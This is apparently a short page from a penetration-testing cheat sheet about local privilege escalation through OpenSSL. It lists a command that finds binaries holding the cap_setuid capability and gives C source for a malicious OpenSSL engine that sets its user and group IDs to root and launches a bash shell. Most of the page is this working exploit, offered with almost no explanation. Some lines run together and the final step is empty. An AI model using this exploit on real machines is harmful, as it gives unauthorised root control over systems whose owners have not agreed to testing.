OpenSSL Privilege Escalation
Privilege Escalation (SUID)
1. Get Capabilities
# -r: recursive
getcap -r / 2>/dev/null/usr/bin/openssl = cap_setuid+ep2. Create the Exploit in C
sudo apt install libssl-dev#include <openssl/engine.h>
static int bind(ENGINE *e, const char *id) {
setuid(0); setgid(0);
system("/bin/bash");
}
IMPLEMENT_DYNAMIC_BIND_FN(bind)
IMPLEMENT_DYNAMIC_CHECK_FN()3. Get the Root Shell
Command Injection in Subject
Exploitation
Last updated